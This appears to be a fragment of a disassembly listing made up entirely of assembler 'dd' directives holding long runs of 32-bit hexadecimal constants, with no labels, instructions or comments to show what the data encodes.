		dd 0FA3C2CF7h, 7CAF0092h, 5DBF0E7Eh, 0EA01B801h, 1C2EA5C5h
		dd 0C871834h, 1722A6E2h, 0FB0CC211h, 51F026BCh,	0ACCD28BFh
		dd 0EAA002ACh, 2EDBBE6Bh, 36F141E0h, 0B51E1200h, 940381EBh
		dd 0D65E15AAh, 5800C407h, 483FEC37h, 9FEC8B65h,	3D3EFD00h
		dd 4F7B8630h, 5A9E002Ah, 492E3A6h, 0A5183772h, 4879ED19h
		dd 1CF41898h, 0B45D11C4h, 71000DF2h, 532D5E86h,	22FA527h
		dd 120CE2C6h, 9960B504h, 0C202974Dh, 2D1C77BBh,	4690AF92h
		dd 4991970h, 0C1D533B4h, 2B4180FDh, 0ED038E8Ah,	75952A4Bh
		dd 4ACC0BCh, 0C2239E2h,	0EFE36B80h, 54D14823h, 2A002074h
		dd 94087D86h, 1974EDA8h, 699195EBh, 0E1C8D8D9h,	7E041EFCh
		dd 0B28CA3BDh, 0C704C8h, 16FDD937h, 7141E94Ch, 0B225FE00h
		dd 8F59EF33h, 487E0FF0h, 0C1035488h, 4290E4B4h,	0F2003339h
		dd 0CA2C204Dh, 60CF9A6h, 3B07C658h, 496079A5h, 70FCC038h
		dd 73E90280h, 26A8693h,	40F4B481h, 4C8D76Fh, 84AA06D5h
		dd 0E21AA600h, 0E100AA0Bh, 65668583h, 0CE593E3h, 0B99FC14Dh
		dd 780C0DB9h, 11BD3F72h, 1F6900EAh, 5BCC47D3h, 19C0A0B2h
		dd 15BEB4ABh, 4FFF0080h, 9E6F3F9Fh, 271C9938h, 64C34A82h
		dd 0B9333A23h, 0A07AD3BEh, 0C004283h, 45112B05h, 3107A712h
		dd 0B6D99C39h, 7AE0F48Bh, 0F9984F03h, 7E256E97h, 54203C1h
		dd 3C7FD2Ah, 0F1102004h, 0B500AAD9h, 0EF64D64Eh, 2204B800h
		dd 0F047DEFCh, 10F9009Bh, 15767F45h, 9933C158h,	0CCA6C1B4h
		dd 34C68488h, 0C019BE6Dh, 0F78EDAF5h, 866E9938h, 664397F4h
		dd 9BCA1889h, 1D8DB194h, 5226ED00h, 1D2549Ah, 0C53B0036h
		dd 682415A9h, 0A1C0DDF0h, 8190D442h, 3AD8E4E7h,	9C80325Bh
		dd 3DE15C25h, 4E0C7774h, 31DEF013h, 0CC940049h,	5004C63Fh
		dd 0C501A132h, 0BEA7E236h, 9C221FA5h, 4F7C101h,	0D45B9205h
		dd 8F094842h, 12BF0B4Bh, 0FCDF80CCh, 0A96FC2h, 4B90D95Eh
		dd 0BDFFD2E8h, 2AC1410Ch, 1C8EF9B5h, 40659202h,	5EA124E6h
		dd 1F44BA07h, 86160060h, 3D99E4DBh, 0B860B277h,	0F3222D39h
		dd 44D762Bh, 5C076A62h,	9158829Ch, 14CAF123h, 0A02712B1h
		dd 871CF500h, 0CDB13061h, 0DEB526h, 3876970Ah, 3800CA13h
		dd 799C8A18h, 36491BAh,	958DEA54h, 0E8E06FF0h, 3B460E03h
		dd 40D6B336h, 0F0EDE491h, 5F8CA071h, 740B09A6h,	10993F1Ch
		dd 0CFA1872h, 9D9417DAh, 70007C21h, 0FD4E2913h,	4183765h
		dd 0A36F641Dh, 0D090C9A4h, 5C008BE3h, 32DB174Bh, 0F002AA4Ah
		dd 4B100E7h, 9612425Bh,	37756829h, 986DC029h, 771AEF00h
		dd 0FC526Eh, 6176C45Ch,	0EDA51991h, 9420F90Ch, 8E8995h
		dd 1116921Dh, 6D5DD8CCh, 0FE089F77h, 803AD68Bh,	89BF858h
		dd 46001484h, 0AB1670F0h, 0A27D4Bh, 0C2A5883Bh,	0C81F31F9h
		dd 0B4564Ch, 65E919FDh,	529CCD25h, 73059CB2h, 12EF7E80h
		dd 0FD2403E1h, 498CA12h, 100A72E4h, 0E4C31F0Ch,	33D880BBh
		dd 61A5FEACh, 0D67E2CBDh, 65700238h, 6F60E20Dh,	0BF527C78h
		dd 0FDEC24DCh, 674D0A00h, 73691C7Fh, 0C61B00E5h, 239FE733h
		dd 78C0DF6Fh, 0CB0792ECh, 8489549Bh, 0F1670E5Ch, 2064BE1h
		dd 247568DCh, 5BC72C04h, 208474FEh, 0B8E6088h, 381C7207h
		dd 60A01891h, 0A1443510h, 0A8D24826h, 3D89E009h, 0A0C0E81Ah
		dd 0E5007381h, 0D9EB5572h, 7F10ACFh, 747960Eh, 0EC4B8127h
		dd 0C9E820D5h, 8844972Ah, 0CD9BEE16h, 0CCEA3C1Ch, 9A446C90h
		dd 0DEA02424h, 6E360804h, 702DDA40h, 0CB213C81h, 3D4E6400h
		dd 9394296Ah, 96F239C0h, 1D20B990h, 89DBA5C2h, 4801DC10h
		dd 33525AF1h, 5E610018h, 4A1B4B6h, 0AEA309E3h, 0BC1BFC93h
		dd 0BA977E80h, 192C981Fh, 7001CE1Fh, 0A8CAD6D7h, 2980DCE1h
		dd 0FBC93C63h, 81735539h, 46D3CCFFh, 0CC34800h,	0D0644A9Ch
		dd 1827179h, 3C25523Ah,	80F61C8Bh, 771D4B41h, 0B7F92Ah
		dd 399D0292h, 0E870DE01h, 0D99E9430h, 0F27C33D1h, 5ABD0030h
		dd 0D6A2F6EBh, 0C700BB8Bh, 59727115h, 4CA71607h, 6C8008BFh
		dd 0E6EB010Fh, 0E72E1E00h, 29978BD7h, 121D0045h, 42F1B514h
		dd 4118F596h, 0E391DF1Fh, 0E1B2037Ch, 0F76D91DBh, 5692DDB0h
		dd 0F1394E07h, 13FB7BF2h, 3F2BA074h, 9063F841h,	0E9A1F418h
		dd 29DCC861h, 9F9B3084h, 0C14F56C1h, 1E0C953Ah,	89421243h
		dd 6027C390h, 19AAC8h, 0C8873B18h, 0E1FA846Eh, 7A63D509h
		dd 5788189Dh, 0A2211EA8h, 5A3D3DE2h, 122D6A80h,	2E184C8Ah
		dd 0DEBDE41Ch, 830EF52h, 16F70Dh, 17FED35Fh, 22FCA184h
		dd 594C0BFh, 4487336h
		dd 94CFD24Ah, 0F71480E3h, 0EC9881B0h, 1C1EA3Fh,	96324F6Eh
		dd 2A10AB41h, 9C02A180h, 4D943560h, 0CF5440D9h,	0DC8244B2h
		dd 93C85600h, 6D49D136h, 0C73513A0h, 0C1C100A3h, 0A7249A4Eh
		dd 0CC8BA101h, 50C588DCh, 0C2C9A5F0h, 0C2F00D41h, 6380C8A7h
		dd 7E8036Dh, 0D9C1A702h, 941DFD79h, 84001862h, 5E635D42h
		dd 0A0E6C095h, 1AEA9703h, 7146E96h, 0EBF2A5B9h,	0B400EBA7h
		dd 76D1AAC0h, 4F8F3001h, 0FA112D0Eh, 0B87C5BDCh, 0E3BC00C8h
		dd 7738CF4Ah, 32031EC1h, 368829A8h, 0B23800E8h,	0D9B5908Eh
		dd 717864E1h, 33C747Ch,	7E351A6Bh, 93566011h, 14F604h
		dd 505F2247h, 0E8BA6503h, 99549C00h, 82E0DF66h,	59E26063h
		dd 59D24716h, 1B0C4F00h, 503CA874h, 0DD7B108Dh,	0CD640076h
		dd 0FF71621Ch, 2868DF82h, 98687EE4h, 415E01B8h,	7390E63Ch
		dd 8D5AD012h, 8FFE91C6h, 87180031h, 0A5F7D467h,	0F2036097h
		dd 0F91CDE2Fh, 0EA84D024h, 2A530077h, 75066662h, 9D017118h
		dd 6F9711DEh, 49808AA2h, 155CC3E3h, 2900B16Dh, 4DF613BBh
		dd 24A6B6A4h, 0B5B5BFh,	0BAF58872h, 9D60A207h, 4B4D7D39h
		dd 108300B1h, 0E35FC742h, 1701B8BFh, 3DB45814h,	910071A7h
		dd 1A00B05Eh, 0B56092F4h, 0A0A1F8B8h, 0E824E764h, 0F9D20045h
		dd 0E3FAC394h, 0EA746164h, 3D3DFB98h, 808B2AD4h, 0F1F5A700h
		dd 0A68CE15Bh, 6FAD0049h, 29C83815h, 2A3CD5EAh,	89FC98E7h
		dd 7DEEB31h, 0DB388083h, 15D4C32Bh, 57CDF7D0h, 0C30075E4h
		dd 0AE720A3Ah, 64FA48F8h, 0C0163978h, 46779C4Bh, 0E0F3322Ch
		dd 0C0658E00h, 0AD0F413h, 0E28C055Ah, 10E180E8h, 0C3662EFDh
		dd 252FEB01h, 0CA6FD0A3h, 1820F8FDh, 91C1BB9h, 69D331E4h
		dd 171E7788h, 867E2200h, 12C284Ah, 0ACC40067h, 0F4148A90h
		dd 0B8002604h, 0EA46CD3Dh, 0CA55303h, 85FB1BAEh, 0E600A0A9h
		dd 61151901h, 2A52B9h, 341DE2CDh, 0A2069C12h, 8CB48454h
		dd 0F8A87200h, 494890C1h, 5C11011Bh, 925613BDh,	6078E376h
		dd 0C8748609h, 8D4C10F8h, 0B9B66061h, 90DA0457h, 62FA8101h
		dd 9BA1EC1Bh, 9F052980h, 9CAC4659h, 0BB9A7300h,	6E835197h
		dd 480002Bh, 14E762CBh,	0B2069BF7h, 0D21A0D84h,	63FBF458h
		dd 0FCCED181h, 0C84A03F1h, 76033C4Eh, 0A273B7ABh, 0AF690F96h
		dd 25A0F6C2h, 0B0829DD5h, 0BACF8F01h, 5F5EE1C7h, 0B8494999h
		dd 14F410D3h, 8FA5001Ch, 0B691A90Ah, 940764F6h,	4326B473h
		dd 9D127CF0h, 20293B5Eh, 0F4D8A894h, 4CEE6A00h,	0A94538Eh
		dd 0F11C3Fh, 48C9C6CCh,	78C0312h, 1E59B98Dh, 8FB1F01Ah
		dd 0F9028344h, 0BAFD87AEh, 14444FAh, 0E643F715h, 30E753C7h
		dd 0E4000AFEh, 2FD63518h, 14B0723Ah, 0FC4290FEh, 494EE804h
		dd 883088B7h, 93686000h, 256AA31Dh, 9A2A01A2h, 0E914CA6Dh
		dd 8ACC4227h, 408F5040h, 3854B900h, 488C17FAh, 85031F96h
		dd 40E31388h, 33425150h, 0CDEA2120h, 0DC8C4518h, 0FB1DF69h
		dd 0DD12C824h, 0FA6AE340h, 0E2049364h, 36E15C2Ch, 6B94C8h
		dd 5AFEF4DFh, 0A07F5614h, 61ED7930h, 0F7DD28Dh,	0A6F78533h
		dd 8BFCF1A0h, 0EB0079F5h, 3C82F616h, 7A4131h, 0A1CC1A13h
		dd 0E13A0844h, 28885222h, 6586616h, 4EF761C1h, 0FB14E8C0h
		dd 0E8CE1Fh, 9FF52C4h, 325E7555h, 0C220A619h, 3498D880h
		dd 957B549Eh, 1E14D31Ch, 0FE7A5980h, 5E6A07h, 78E6119Fh
		dd 72A418CFh, 82F3F704h, 0DC4F7FFCh, 5070BE40h,	0E27D7C02h
		dd 12008891h, 3E157311h, 0B12126D7h, 0C503006Ch, 0ADC99655h
		dd 2FC43A00h, 645BA47h,	29CB1215h, 51480179h, 80B3FE9Ah
		dd 1BC8AC49h, 7C8E6369h, 0C899F5h, 11AF1856h, 75908770h
		dd 58ECE700h, 786759CAh, 0A40971E5h, 0CBE638D8h, 21DB9A80h
		dd 0E768E428h, 625C1302h, 84361896h, 8C82C188h,	3C5A2A71h
		dd 62AF900Ah, 898240D8h, 0B507D8A6h, 8759F6Eh, 0C04B2562h
		dd 122C40h, 0CECD5C41h,	1D7C24C2h, 0B0549800h, 0A6B37F52h
		dd 49EE6F62h, 47427320h, 8F0C15ACh, 61D20F68h, 2C2600DFh
		dd 5CBBE02Bh, 0C900E6A5h, 0BF3901B3h, 188179A9h, 0B03084CFh
		dd 94B1B7B5h, 61B92F0Eh, 9DAAF5BCh, 1D7033E4h, 46958E7Bh
		dd 29E1B789h, 7D3B9E00h, 0C7E46B49h, 0C422039Bh, 5F55356Eh
		dd 728C81DCh, 383268h, 0DE86960Eh, 449852h, 128D4270h
		dd 0A60356C1h, 0A8117577h, 0C0E82A1h, 3341DC5Eh, 0F98EA064h
		dd 0E432B7h, 0CF7E5172h, 3842B78h, 7F91F78Dh, 2100DFB7h
		dd 366966C4h, 0E604ACE0h, 6EF10318h, 0C0FA47F8h, 50BE2B90h
		dd 7A92A0C5h, 6C40C820h, 54AC007Eh, 9AE620F8h, 0C986AAAh
		dd 35C89902h, 8AFA3Ch, 1FA7F6D1h, 0F113EB00h, 260FBDBFh
		dd 19940061h, 0E5F7EE73h, 0E485C48h, 0A36A0058h, 52B8081Fh
		dd 9C9700CDh, 34461E1h,	0FF4DE679h, 6D8C0424h, 9081AE71h
		dd 69807548h, 5EB567F9h, 1F073D5Ch, 6117B952h, 0E488FFA5h
		dd 0CAD3006Fh, 4241638Dh, 8338AE26h, 0C66E0109h, 8CCE755Dh
		dd 0C005F330h, 5CE5719Ah, 6233C030h, 0E884F9F8h, 9EDCC2h
		dd 65A72BABh, 3431275Eh, 2657BF00h, 0F8A57259h,	0B0E0548Ch
		dd 0D3940212h, 0B7DF9A0Eh, 96123E0h, 0F6C89600h, 0C764366Fh
		dd 75BC003Ah, 0C3F31A2Ah, 17496618h, 878A0304h,	0C0EE2E2Dh
		dd 1A042F36h, 0D18EF9C9h, 20FBB801h, 0E89A210Eh, 7806E1DCh
		dd 0D4618277h, 44E64C81h, 69003C48h, 9A546BDBh,	2C3E2FE4h
		dd 89628B8Dh, 619011FFh, 2E31C4h, 0F0EC635Fh, 0ED9D08CCh
		dd 0EA10F200h, 0FAB23E14h, 3FA11C83h, 0BA3AC064h, 0C720E32Dh
		dd 0C1EFC802h, 0C19E02F4h, 81E8014Ch, 34CA5814h, 1572DA0Eh
		dd 0CC856805h, 71079ED0h, 1CD25F86h, 0D6FDE8B0h, 11CF38C7h
		dd 0EC74FB95h, 0AECBD700h, 7F837A75h, 80869C38h, 891A66D9h
		dd 1AF531Fh, 2DCCC5A2h,	80DA8C44h, 775CB9F9h, 0AEEEC2h
		dd 0D06431C7h, 86FAA918h, 6DE159C0h, 3B7988CCh,	0F00E7A1h
		dd 14C0C5DEh, 8E0ABEB0h, 0FCFF3687h, 80ED908Ah,	0C4599E00h
		dd 717833EBh, 81DB1395h, 0D89C002Fh, 34DAF614h,	248068B9h
		dd 0B43B43B1h, 16770048h, 0BC51CF1Ch, 0C9181F25h, 8D2998F4h
		dd 0B9B86060h, 34729C89h, 0B0042626h, 0F38F7300h, 165EAAE6h
		dd 1581F30h, 54D65120h,	0BC84F65Bh, 2DD080C3h, 8B3C0350h
		dd 513603CEh, 24132B7h,	16F1CCB8h, 7C509804h, 0FC32989Ah
		dd 801981BFh, 96FD88C9h, 78F70B73h, 7890FA35h, 483946C5h
		dd 0CAC28090h, 0E61B08F2h, 2177605Bh, 0CD5E60F8h, 5181FE30h
		dd 1BEBAh, 0CF4F08A0h, 9A7AB057h, 0EACE1100h, 598D04BCh
		dd 7140069h, 102A5487h,	0E94C9E83h, 5E67C0F8h, 6277AC5h
		dd 0F922F0D4h, 510B388Bh, 123487A1h, 0B9A460BCh, 0A82548ECh
		dd 3B805C4Ch, 0D43D08A6h, 88951E00h, 17117164h,	7A7800C9h
		dd 0A24740FBh, 0EA48810Eh, 64CC404Ch, 943AB50Ch, 1C224879h
		dd 0D511CC8Ch, 800CCC9h, 4E43E860h, 2900D857h, 0DBA9DC9Ch
		dd 3122AF4h, 1E199A62h,	1BC36503h, 0F69769D8h, 0FF50D40Ch
		dd 7C9999h, 381C6B09h, 8CDCAE14h, 17A05103h, 886DF41Eh
		dd 9168B7B4h, 1687B9C8h, 0F36AEAC2h, 0D09707E9h, 8F8DA372h
		dd 184CCC3Ah, 0C8A1AACAh, 0A7499F0h, 8090FB63h,	51FF7EE8h
		dd 0D801FA3Eh, 782DB131h, 10747F17h, 4C9AEA8Dh,	0F180707Ah
		dd 0B474D488h, 73461400h, 85609B8Dh, 0BEE8034Ah, 29943379h
		dd 77D882D5h, 0F81326h
		dd 7FB41C90h, 0D051F8A2h, 0E2CCD37Ah, 33A1C6h, 6326231Ch
		dd 864196CFh, 0FB5A3E18h, 1450388Eh, 0E85106FAh, 7521C401h
		dd 1384A1EAh, 8CE5A893h, 16D0083h, 7206AF17h, 0F4E41841h
		dd 0CC9DBCA0h, 4A450C90h, 4BC81031h, 5662143Bh,	0D30E7063h
		dd 60608994h, 0BAE6812Eh, 0EC00FBEEh, 0DD141620h, 3F1AABA8h
		dd 0FA8187AFh, 1726CEC1h, 74C2266h, 96C83275h, 0F9508A00h
		dd 0CCE90089h, 1A5F8031h, 0FA2AA8AEh, 0BE588C82h, 3AA339BDh
		dd 0AC651E98h, 72348D00h, 3AA162E5h, 9E3C1316h,	944C203Ch
		dd 69E90F1Ah, 21CFD480h, 1901CB73h, 4403B13Eh, 40EA20DCh
		dd 48599C58h, 8880B8FFh, 263DEB69h, 75D70300h, 0C5AAEA4Ah
		dd 0BED30041h, 0E97111E3h, 0C43918A4h, 56448072h, 0D3B0B2BAh
		dd 2710B0EBh, 2C83C9AFh, 9802BF78h, 7A8CEE89h, 817C60B1h
		dd 12D47CD3h, 30C27156h, 413937D4h, 647B8901h, 0C34F92DEh
		dd 2C06A830h, 4CB5Ch, 8EAD9CFDh, 27122E90h, 85CDBB7h, 21F5D800h
		dd 7A1D09h, 9FFA83CDh, 82F64BA4h, 13B988C1h, 2864AF5Ch
		dd 0CF592485h, 0F3A96028h, 107B8756h, 2F86B00h,	0DB0171A4h
		dd 2515CD8h, 626C0173h,	0B7B348CCh, 773980ACh, 0A4052CB1h
		dd 0CF971E40h, 0AED8801Fh, 0E4A6998Eh, 3114890Fh, 1987A5BAh
		dd 0B7B2B043h, 0FA4100C8h, 0DDC35633h, 5201D86Dh, 20F059EEh
		dd 0A8602F5Bh, 98CE069Ah, 107C453Ah, 0B347040Bh, 0F3889836h
		dd 426F00E7h, 125C6D01h, 66FE0421h, 0AB97C200h,	536417B4h
		dd 0A1B704FBh, 0B40F806Ah, 0E127931Ch, 0CEFCA051h, 56F9Fh
		dd 9DB63B68h, 572F5914h, 0F2B3B80Bh, 0C0149AC8h, 0DBC661Ah
		dd 835BE149h, 0EE384241h, 6BA37F20h, 0DB8A044Ch, 0E4639016h
		dd 0A000524Ch, 42DAE5FDh, 0C8E89C1Bh, 0C8406C20h, 7F1F8BB7h
		dd 0E3DA1E8Ah, 9AE200A9h, 34ABEA1h, 52C15301h, 0F88585Dh
		dd 6B28D023h, 710D15ABh, 274E9C46h, 38D7D0B8h, 1AEE0EF1h
		dd 71346C00h, 0EB1F68C0h, 0EA080986h, 18008050h, 0B4B7FD83h
		dd 7D982101h, 0A24D0A32h, 951FB832h, 415600C2h,	7A6924F8h
		dd 0DE8080B4h, 0C75FF359h, 0FD510123h, 442F3532h, 0DBD08036h
		dd 3CC18A14h, 4C0C0786h, 39EBBE19h, 43D04800h, 0D8B1698Dh
		dd 0D9FA5701h, 0A0603A56h, 1C9899h, 0F677E4B4h,	0EFC9067Bh
		dd 1D0CC58h, 0CF4713CAh, 31D0140Dh, 261CB03Ch, 40F8FE9Eh
		dd 6DDEFBE2h, 2258B01h,	87D5CADFh, 0B01E97D4h, 5DE43A74h
		dd 13DAACA4h, 9EDC90FBh, 8660E236h, 2C4B976Ch, 99160307h
		dd 0CF9A8867h, 0C4A012D2h, 0A552A025h, 0F9610C09h, 27A8E035h
		dd 51B80CE4h, 0C9A81994h, 0A459B20Eh, 0A0C10214h, 6C7AFEh
		dd 12707284h, 0A7EFE530h, 3176500h, 7C474EB5h, 0E6243EFEh
		dd 0F0B974h, 60EC7763h,	0B1183233h, 7D06314Ah, 485A07CAh
		dd 263CF9A0h, 6200C95Eh, 34DE8C5Ch, 5C433AAh, 0C83CCD03h
		dd 8DEC8CFBh, 7248B9EEh, 0C7EF0170h, 57878051h,	18BCB880h
		dd 0A2C452AFh, 54ADA909h, 0D6A44863h, 259A165Fh, 0E300FAB0h
		dd 822C6443h, 64B548F5h, 51BCEF80h, 0C1123958h,	58167126h
		dd 0DE923460h, 6D580704h, 407494A9h, 54FD39C4h,	8A111200h
		dd 0EDE361A4h, 1F890019h, 97EE9695h, 0B6131758h, 709060E1h
		dd 5814E940h, 0F709CD90h, 0D411A1C6h, 0AB36ECA4h, 208C8627h
		dd 56600A1Ch, 7F1E2C0Fh, 0E7BB6064h, 0AE4891ACh, 0E0ED007Fh
		dd 0DF191A44h, 48F602D7h, 0A2D3247Bh, 4082B084h, 8F65FD09h
		dd 336701FFh, 57D05F36h, 0F39FFC19h, 1D2F8802h,	44A1BF6Fh
		dd 68161CA0h, 0F2CC00B4h, 0AD320E77h, 5AF02003h, 0F8BA5314h
		dd 7C28571Ch, 0F7720A08h, 1A4FDB4h, 0B7E24588h,	0F8E041F3h
		dd 0F0B011BFh, 0BC49820h, 56E15FBCh, 0CE070818h, 1782738h
		dd 3803B4D7h, 398E85A2h, 0BFA0F709h, 3CE31EF5h,	9EB54900h
		dd 55E2C490h, 92911DD1h, 237917BDh, 781637Ch, 241DD40Ch
		dd 65000D7Ah, 0CF6F43C4h, 7F953E17h, 323A2D47h,	12EA890h
		dd 0F8901D1Eh, 17B57542h, 0CDE8E0FCh, 49162h, 4FFB109Bh
		dd 0DE30C8B6h, 5614A1B5h, 7A6D18CBh, 51F029ECh,	9734A00h
		dd 9C8CF74Ch, 41475F5h,	0C3FA4B32h, 22FDC082h, 974C90E1h
		dd 48A7528h, 0A5FB198h,	80CDA6Eh, 8E8EBAFAh, 8518C351h
		dd 0A4A3A9E7h, 18C88020h, 31E38C4Fh, 9FEE1E2h, 0EE356100h
		dd 8B636F60h, 9F140FC8h, 0F64370D8h, 9ED0B96Eh,	0AC4CDEABh
		dd 9D5900ECh, 730AFD87h, 718063A2h, 5A804F86h, 0EF0010D3h
		dd 0F0D46CB8h, 0B42FDBh, 71786E3Dh, 58111744h, 6AF9D200h
		dd 802A1CAEh, 4730E1Fh,	0FF696D61h, 85EC7868h, 0D7EAF600h
		dd 0E3FAA2D5h, 69D201C4h, 882227C8h, 80046C0Dh,	0E6DED9FBh
		dd 44E42EE9h, 4B2C0F0Ch, 0FCC45909h, 0C5A57900h, 71273F82h
		dd 0E6478FAh, 2F377D06h, 1400E5D4h, 598CAB5Ch, 7F5C4095h
		dd 0C1B714E3h, 10B03EC0h, 0FF84D36Dh, 0DD6C2199h, 819E5B11h
		dd 716CA40h, 0F83072A3h, 6D573DD7h, 837CA924h, 0F4048187h
		dd 0C2F6CBD0h, 8420105Eh, 1FF809h, 48DA361Bh, 0EE4472E1h
		dd 8CA17813h, 9C70D88Dh, 0E29A88C7h, 15271C01h,	0E8490E1Dh
		dd 0C946F8h, 24F53AFBh,	25E777FDh, 10A64890h, 0CC643205h
		dd 7CC9628Ch, 67004063h, 56B50453h, 23000FF1h, 0BFD4824Fh
		dd 12E4CA37h, 612DCDh, 21CCF999h, 600118E7h, 0CA4AF47Fh
		dd 70387C71h, 69B585h, 6D4B42F8h, 8CB4216Ch, 0FD5AE04Fh
		dd 4F53BC0h, 47D34611h,	21F0C67Dh, 5D36B500h, 0E0EE2F5Fh
		dd 3A9613B8h, 0D0B400BDh, 0E57283EBh, 36E14B0Ch, 5F14B97Bh
		dd 178AFCF6h, 8809B61Ch, 7EAC84DCh, 0F2AE6C47h,	94664C42h
		dd 8ED01400h, 1C0A68FBh, 0DA790022h, 8B4DBD09h,	0EE006C49h
		dd 56883DBFh, 0C7E7C38h, 5807C8B5h, 0E1607AE1h,	0E9492249h
		dd 1260275h, 0B0235708h, 34F78D60h, 8800925Eh, 513C1F25h
		dd 62C71297h, 0C8A816FDh, 9F0664F0h, 7DFB111Ah,	0E07001B1h
		dd 6371A2F6h, 19CA10EEh, 0BF680634h, 891A8827h,	0B060DEF9h
		dd 701ABDEh, 75A77BFAh,	0A06C6042h, 0FC7FC40Fh,	838D26A7h
		dd 0F3C0C7F9h, 0B90676C2h, 0E01C8811h, 37E12449h, 4063609Ch
		dd 3D005889h, 0CB03946Dh, 5C04794Fh, 0F92684FBh, 0E6634300h
		dd 2B9F4107h, 0AED09E55h, 71EB842h, 26333C79h, 80B304C0h
		dd 6D8277A8h, 94F9AD44h, 0AC0F8038h, 0D44E470Ah, 0D7F34Ch
		dd 48E6AFF8h, 48C914B3h, 84C59B7h, 3BE50380h, 0B800B65Fh
		dd 4889D124h, 5CE46956h, 0B7835C2Eh, 6C00572Ch,	2DEB2128h
		dd 91F4C831h, 44B30184h, 0F1C1EFE2h, 0AF1C2071h, 0B0FCC826h
		dd 0C9111B40h, 1518ABFAh, 44208EC0h, 2CC63A75h,	4E15341Ch
		dd 7A0B90ABh, 6E712C90h, 941C0800h, 132CA3D1h, 21C50252h
		dd 0B367A736h, 2098CC61h, 0AC0B7510h, 48044F7Ch, 1E5C5740h
		dd 4EF2E7h, 496EFFE2h, 4C1D0AC3h, 874453EAh, 5D40E33Bh
		dd 3F7824D4h, 8011F038h, 0B5F76CF4h, 4A16DC22h,	0DA6C4F66h
		dd 1F928740h, 7C09FF91h, 48A20F3Dh, 0F485B4ACh,	41C11CECh
		dd 0C4614703h, 828620E8h, 0DD006426h, 0CC1A72DCh, 22BC81h
		dd 1DEE5942h, 0B457E05Ah, 70859E26h, 0D4016212h, 7395AEC5h
		dd 51ADAC40h, 1F6307CCh, 0F6DBFA58h, 0FB4498EBh, 920D3F4Eh
		dd 3EC68900h, 0DA7FD5A3h, 817E2B00h, 0B1A969FAh, 78A5FA16h
		dd 98C1E645h, 0B7893860h, 56ACF8C5h, 886C1F0Eh,	0F6C8C5F5h
		dd 0E241C088h
		dd 901112EEh, 2204B4CAh, 4032A8C9h, 0F582ED0h, 35E199F0h
		dd 8554E432h, 5E288h, 0F481AECDh, 61D08C77h, 6CA8321Fh
		dd 6B1D0CC0h, 2A07F1ABh, 0FCF48Dh, 0C4F9EF74h, 34DAD49Ch
		dd 7D881150h, 7BA5DF14h, 7A6905F8h, 0A4A21F9Fh,	352E5A00h
		dd 0CF239B3Eh, 3B2A7500h, 2452B6ADh, 46EB0C1Eh,	2C61047Ah
		dd 0E538FC04h, 0D0C1F035h, 71C48D77h, 0C61E14E9h, 0C01DC0CDh
		dd 4D588510h, 4164F463h, 0AEBE0EBh, 0A23BC200h,	7BB0F235h
		dd 0BBF4A054h, 554B0B3h, 0B167566Fh, 0FAD98030h, 40152A62h
		dd 888CFFh, 79BEB3Ah, 9CA785h, 0D69D39EEh, 5BD0C387h, 0DF8000B1h
		dd 2ECCC4C6h, 50947386h, 0D9447Ah, 7081FB64h, 0D06D44F9h
		dd 270134ECh, 0F240246Eh, 0BC72FC6Bh, 0D5718900h, 0B0F6DC59h
		dd 43B1314h, 0E8C073DCh, 3EF3128Bh, 0AB75A7h, 0D5EAA262h
		dd 11D06514h, 0A1EB4114h, 0DDDA005Ch, 380F61E6h, 0BB1E39FAh
		dd 8C89F78Fh, 0A01A19E5h, 51F0BCD0h, 87A27019h,	6DD8AA39h
		dd 425767Ch, 644739EDh,	1214CCE2h, 0A7120AF2h, 0F4E2F01Ch
		dd 9525D307h, 55F980B1h, 327DE076h, 10246200h, 315EEF45h
		dd 20734A14h, 40C92664h, 0BD8A1A00h, 0A44F8306h, 6DED00CDh
		dd 85C4D798h, 7E111B57h, 0AF00E363h, 0E13EC3B8h, 3F002A52h
		dd 3B84B611h, 0CC5894h,	428ADDCFh, 8F1FFD36h, 60346098h
		dd 34F0A17Ah, 61F73B89h, 93A48B00h, 98FEAD8Ah, 650D91C0h
		dd 3D8143DFh, 3980F626h, 92F9FC19h, 0B0005FD6h,	2C642758h
		dd 1D9B14F8h, 805DB46Fh, 0C8DC3FCEh, 49C7C002h,	5833C50h
		dd 3B1100B4h, 35335DAFh, 0B1FB1Ah, 54FC309h, 2E804DA1h
		dd 0F50FD6h, 0E3B8819Bh, 13BA5E85h, 521EC0FFh, 0CF01C498h
		dd 736B993Ah, 0DC31487Fh, 69C27C78h, 2059A95Eh,	97DD9900h
		dd 7B28EC5Fh, 14B00047h, 0FA61C4F7h, 0EA0E1C9Ah, 60934D5Eh
		dd 0C25C40CAh, 0E08D07C7h, 9091F9F4h, 3F8DFBAh,	0ECE58B7Ah
		dd 1100AE99h, 9FF9A462h, 4B06F7h, 39A81F0Ch, 9A7C5C41h
		dd 59052113h, 57B14800h, 0A128DE69h, 0BC148F84h, 0E9CA0BC4h
		dd 877C9009h, 1AEEC7BEh, 42A0F0BBh, 9000B052h, 0C51946F5h
		dd 5CAF9EAh, 8AEC4C74h,	0FA60815Ah, 69643027h, 0D8C2B8EEh
		dd 56A1BF90h, 0A000BBC8h, 49D013AFh, 7F00ADFBh,	0CAAC0480h
		dd 1203DA18h, 0B25BE1B5h, 7FC81EB0h, 64593FDCh,	747D40C0h
		dd 0BC90872Fh, 0CF007D29h, 8E3FC32Ah, 481D9490h, 0B82CCC39h
		dd 0CAB70BACh, 82BB7880h, 7871757Fh, 724E3500h,	444B8BCEh
		dd 53E61112h, 66F6097Ch, 6FFC189Eh, 96430068h, 0D770239h
		dd 0ECB0ED9Bh, 0D3B3CA05h, 0CC8DFFC8h, 1C24052Eh, 79188096h
		dd 4245685h, 771178C2h,	9064F60Bh, 0EC15004h, 54682097h
		dd 1E5F794h, 9FD829Dh, 758B8965h, 30912154h, 6C4B8DB8h
		dd 10FA9C49h, 7A1258h, 586F70BFh, 9D537844h, 639830F1h
		dd 25810E00h, 0CC5E4F7Dh, 40095BEBh, 4EC374Ch, 4800F34Dh
		dd 0D51C5924h, 35808F5h, 0F0A95238h, 0FAEA2936h, 0B580E45Ch
		dd 3A4205BEh, 0EA190861h, 9D8798FEh, 5660F5FAh,	13D223AEh
		dd 0A24893CCh, 0B51F0034h, 0F2283460h, 0C35C0263h, 69C7F7ECh
		dd 54FFC840h, 2CB9F48Bh, 18432402h, 3141C571h, 21902035h
		dd 35904FECh, 69DBE105h, 0F8C93B88h, 3895B04Ch,	0A8005020h
		dd 0BBFB7F6Fh, 0A1EA7B6Bh, 9CB1253Ah, 560B14AFh, 2E10185Ah
		dd 0EF22072Fh, 0C95960E3h, 0DDB9E4E8h, 46009F78h, 8A04713Bh
